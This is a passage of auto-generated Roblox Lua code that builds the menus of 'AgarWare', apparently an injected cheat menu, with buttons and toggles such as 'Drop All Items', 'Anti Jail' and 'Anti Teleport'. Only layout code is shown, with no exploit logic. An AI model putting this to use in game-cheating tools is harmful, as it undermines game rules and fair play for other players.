G2L["e4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e4"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["e4"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e4"]["Name"] = [[DropAllRow]];
G2L["e4"]["LayoutOrder"] = 1;
G2L["e4"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.DropAllRow.DropAllButton
G2L["e5"] = Instance.new("TextButton", G2L["e4"]);
G2L["e5"]["TextSize"] = 14;
G2L["e5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e5"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["e5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e5"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["e5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["e5"]["Text"] = [[Drop All Items]];
G2L["e5"]["Name"] = [[DropAllButton]];
G2L["e5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipAllRow
G2L["e6"] = Instance.new("Frame", G2L["de"]);
G2L["e6"]["BorderSizePixel"] = 0;
G2L["e6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["e6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["e6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e6"]["Name"] = [[EquipAllRow]];
G2L["e6"]["LayoutOrder"] = 1;
G2L["e6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipAllRow.EquipAllButton
G2L["e7"] = Instance.new("TextButton", G2L["e6"]);
G2L["e7"]["TextSize"] = 14;
G2L["e7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["e7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e7"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["e7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["e7"]["Text"] = [[Equip All Items]];
G2L["e7"]["Name"] = [[EquipAllButton]];
G2L["e7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow
G2L["e8"] = Instance.new("Frame", G2L["de"]);
G2L["e8"]["BorderSizePixel"] = 0;
G2L["e8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["e8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["e8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e8"]["Name"] = [[EquipEnlightenRow]];
G2L["e8"]["LayoutOrder"] = 6;
G2L["e8"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow.EquipEnlightenHelp
G2L["e9"] = Instance.new("TextButton", G2L["e8"]);
G2L["e9"]["TextSize"] = 14;
G2L["e9"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["e9"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["e9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["e9"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["e9"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["e9"]["Text"] = [[?]];
G2L["e9"]["Name"] = [[EquipEnlightenHelp]];
G2L["e9"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow.EquipEnlightenButton
G2L["ea"] = Instance.new("TextButton", G2L["e8"]);
G2L["ea"]["TextSize"] = 14;
G2L["ea"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ea"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["ea"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ea"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["ea"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["ea"]["Text"] = [[Equip Enlighten]];
G2L["ea"]["Name"] = [[EquipEnlightenButton]];
G2L["ea"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide
G2L["eb"] = Instance.new("Frame", G2L["c8"]);
G2L["eb"]["BorderSizePixel"] = 0;
G2L["eb"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["eb"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["eb"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["eb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["eb"]["Name"] = [[TCOMainRightSide]];
G2L["eb"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.UIListLayout
G2L["ec"] = Instance.new("UIListLayout", G2L["eb"]);
G2L["ec"]["Padding"] = UDim.new(0, 7);
G2L["ec"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup
G2L["ed"] = Instance.new("Frame", G2L["eb"]);
G2L["ed"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["ed"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["ed"]["Size"] = UDim2.new(0, 170, 0, 183);
G2L["ed"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["ed"]["Name"] = [[AntiGroup]];
G2L["ed"]["LayoutOrder"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiScript
G2L["ee"] = Instance.new("LocalScript", G2L["ed"]);
G2L["ee"]["Name"] = [[AntiScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.UIListLayout
G2L["ef"] = Instance.new("UIListLayout", G2L["ed"]);
G2L["ef"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTitle
G2L["f0"] = Instance.new("TextLabel", G2L["ed"]);
G2L["f0"]["TextWrapped"] = true;
G2L["f0"]["BorderSizePixel"] = 0;
G2L["f0"]["TextSize"] = 14;
G2L["f0"]["TextScaled"] = true;
G2L["f0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f0"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["f0"]["BackgroundTransparency"] = 0.95;
G2L["f0"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["f0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f0"]["Text"] = [[Anti]];
G2L["f0"]["LayoutOrder"] = 1;
G2L["f0"]["Name"] = [[AntiTitle]];
G2L["f0"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTitle.AntiMinimize
G2L["f1"] = Instance.new("TextButton", G2L["f0"]);
G2L["f1"]["BorderSizePixel"] = 0;
G2L["f1"]["TextSize"] = 14;
G2L["f1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f1"]["BackgroundTransparency"] = 1;
G2L["f1"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f1"]["Text"] = [[-]];
G2L["f1"]["Name"] = [[AntiMinimize]];
G2L["f1"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow
G2L["f2"] = Instance.new("Frame", G2L["ed"]);
G2L["f2"]["BorderSizePixel"] = 0;
G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["f2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["f2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f2"]["Name"] = [[AntiNanRow]];
G2L["f2"]["LayoutOrder"] = 3;
G2L["f2"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow.AntiNanTickBox
G2L["f3"] = Instance.new("TextButton", G2L["f2"]);
G2L["f3"]["TextSize"] = 14;
G2L["f3"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f3"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["f3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["f3"]["Text"] = [[]];
G2L["f3"]["Name"] = [[AntiNanTickBox]];
G2L["f3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow.AntiNanText
G2L["f4"] = Instance.new("TextLabel", G2L["f2"]);
G2L["f4"]["BorderSizePixel"] = 0;
G2L["f4"]["TextSize"] = 14;
G2L["f4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["f4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["BackgroundTransparency"] = 1;
G2L["f4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["f4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f4"]["Text"] = [[Anti Maptide NaN]];
G2L["f4"]["Name"] = [[AntiNanText]];
G2L["f4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiAccentColor
G2L["f5"] = Instance.new("Frame", G2L["ed"]);
G2L["f5"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["f5"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["f5"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["f5"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["f5"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["f5"]["Name"] = [[AntiAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow
G2L["f6"] = Instance.new("Frame", G2L["ed"]);
G2L["f6"]["BorderSizePixel"] = 0;
G2L["f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["f6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f6"]["Name"] = [[AntiVisualRow]];
G2L["f6"]["LayoutOrder"] = 3;
G2L["f6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow.AntiVisualTickBox
G2L["f7"] = Instance.new("TextButton", G2L["f6"]);
G2L["f7"]["TextSize"] = 14;
G2L["f7"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f7"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["f7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["f7"]["Text"] = [[]];
G2L["f7"]["Name"] = [[AntiVisualTickBox]];
G2L["f7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow.AntiVisualText
G2L["f8"] = Instance.new("TextLabel", G2L["f6"]);
G2L["f8"]["BorderSizePixel"] = 0;
G2L["f8"]["TextSize"] = 14;
G2L["f8"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["f8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f8"]["BackgroundTransparency"] = 1;
G2L["f8"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["f8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f8"]["Text"] = [[Anti Visual]];
G2L["f8"]["Name"] = [[AntiVisualText]];
G2L["f8"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow
G2L["f9"] = Instance.new("Frame", G2L["ed"]);
G2L["f9"]["BorderSizePixel"] = 0;
G2L["f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["f9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f9"]["Name"] = [[AntiJailRow]];
G2L["f9"]["LayoutOrder"] = 3;
G2L["f9"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow.AntiJailTickBox
G2L["fa"] = Instance.new("TextButton", G2L["f9"]);
G2L["fa"]["TextSize"] = 14;
G2L["fa"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fa"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["fa"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["fa"]["Text"] = [[]];
G2L["fa"]["Name"] = [[AntiJailTickBox]];
G2L["fa"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow.AntiJailText
G2L["fb"] = Instance.new("TextLabel", G2L["f9"]);
G2L["fb"]["BorderSizePixel"] = 0;
G2L["fb"]["TextSize"] = 14;
G2L["fb"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["fb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fb"]["BackgroundTransparency"] = 1;
G2L["fb"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["fb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fb"]["Text"] = [[Anti Jail]];
G2L["fb"]["Name"] = [[AntiJailText]];
G2L["fb"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow
G2L["fc"] = Instance.new("Frame", G2L["ed"]);
G2L["fc"]["BorderSizePixel"] = 0;
G2L["fc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fc"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["fc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["fc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fc"]["Name"] = [[AntiFreezeRow]];
G2L["fc"]["LayoutOrder"] = 4;
G2L["fc"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow.AntiFreezeTickBox
G2L["fd"] = Instance.new("TextButton", G2L["fc"]);
G2L["fd"]["TextSize"] = 14;
G2L["fd"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fd"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["fd"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["fd"]["Text"] = [[]];
G2L["fd"]["Name"] = [[AntiFreezeTickBox]];
G2L["fd"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow.AntiFreezeText
G2L["fe"] = Instance.new("TextLabel", G2L["fc"]);
G2L["fe"]["BorderSizePixel"] = 0;
G2L["fe"]["TextSize"] = 14;
G2L["fe"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["fe"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fe"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fe"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fe"]["BackgroundTransparency"] = 1;
G2L["fe"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["fe"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fe"]["Text"] = [[Anti Freeze]];
G2L["fe"]["Name"] = [[AntiFreezeText]];
G2L["fe"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.RedInfoRow
G2L["ff"] = Instance.new("Frame", G2L["ed"]);
G2L["ff"]["BorderSizePixel"] = 0;
G2L["ff"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ff"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["ff"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["ff"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ff"]["Name"] = [[RedInfoRow]];
G2L["ff"]["LayoutOrder"] = 20;
G2L["ff"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.RedInfoRow.RedInfo
G2L["100"] = Instance.new("TextButton", G2L["ff"]);
G2L["100"]["TextSize"] = 14;
G2L["100"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["100"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["100"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["100"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["100"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["100"]["Text"] = [[Red = Auto Reset]];
G2L["100"]["Name"] = [[RedInfo]];
G2L["100"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow
G2L["101"] = Instance.new("Frame", G2L["ed"]);
G2L["101"]["BorderSizePixel"] = 0;
G2L["101"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["101"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["101"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["101"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["101"]["Name"] = [[AntiVampRow]];
G2L["101"]["LayoutOrder"] = 3;
G2L["101"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow.AntiVampTickBox
G2L["102"] = Instance.new("TextButton", G2L["101"]);
G2L["102"]["TextSize"] = 14;
G2L["102"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["102"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["102"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["102"]["Text"] = [[]];
G2L["102"]["Name"] = [[AntiVampTickBox]];
G2L["102"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow.AntiVampText
G2L["103"] = Instance.new("TextLabel", G2L["101"]);
G2L["103"]["BorderSizePixel"] = 0;
G2L["103"]["TextSize"] = 14;
G2L["103"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["103"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["103"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["103"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["103"]["BackgroundTransparency"] = 1;
G2L["103"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["103"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["103"]["Text"] = [[Anti Vampire]];
G2L["103"]["Name"] = [[AntiVampText]];
G2L["103"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow
G2L["104"] = Instance.new("Frame", G2L["ed"]);
G2L["104"]["BorderSizePixel"] = 0;
G2L["104"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["104"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["104"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["104"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["104"]["Name"] = [[AntiGlitchRow]];
G2L["104"]["LayoutOrder"] = 3;
G2L["104"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow.AntiGlitchTickBox
G2L["105"] = Instance.new("TextButton", G2L["104"]);
G2L["105"]["TextSize"] = 14;
G2L["105"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["105"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["105"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["105"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["105"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["105"]["Text"] = [[]];
G2L["105"]["Name"] = [[AntiGlitchTickBox]];
G2L["105"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow.AntiGlitchText
G2L["106"] = Instance.new("TextLabel", G2L["104"]);
G2L["106"]["BorderSizePixel"] = 0;
G2L["106"]["TextSize"] = 14;
G2L["106"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["106"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["106"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["106"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["106"]["BackgroundTransparency"] = 1;
G2L["106"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["106"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["106"]["Text"] = [[Anti Glitch]];
G2L["106"]["Name"] = [[AntiGlitchText]];
G2L["106"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow
G2L["107"] = Instance.new("Frame", G2L["ed"]);
G2L["107"]["BorderSizePixel"] = 0;
G2L["107"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["107"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["107"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["107"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["107"]["Name"] = [[AntiTeleportRow]];
G2L["107"]["LayoutOrder"] = 3;
G2L["107"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow.AntiTeleportTickBox
G2L["108"] = Instance.new("TextButton", G2L["107"]);
G2L["108"]["TextSize"] = 14;
G2L["108"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["108"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["108"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["108"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["108"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["108"]["Text"] = [[]];
G2L["108"]["Name"] = [[AntiTeleportTickBox]];
G2L["108"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow.AntiTeleportText
G2L["109"] = Instance.new("TextLabel", G2L["107"]);
G2L["109"]["BorderSizePixel"] = 0;
G2L["109"]["TextSize"] = 14;
G2L["109"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["109"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["109"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["109"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["109"]["BackgroundTransparency"] = 1;
G2L["109"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["109"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["109"]["Text"] = [[Anti Teleport]];
G2L["109"]["Name"] = [[AntiTeleportText]];
G2L["109"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage
G2L["10a"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["10a"]["Visible"] = false;
G2L["10a"]["Active"] = true;
G2L["10a"]["BorderSizePixel"] = 0;
G2L["10a"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["10a"]["Name"] = [[MiscPage]];
G2L["10a"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["10a"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["10a"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10a"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["10a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10a"]["ScrollBarThickness"] = 0;
G2L["10a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide
G2L["10b"] = Instance.new("Frame", G2L["10a"]);
G2L["10b"]["BorderSizePixel"] = 0;
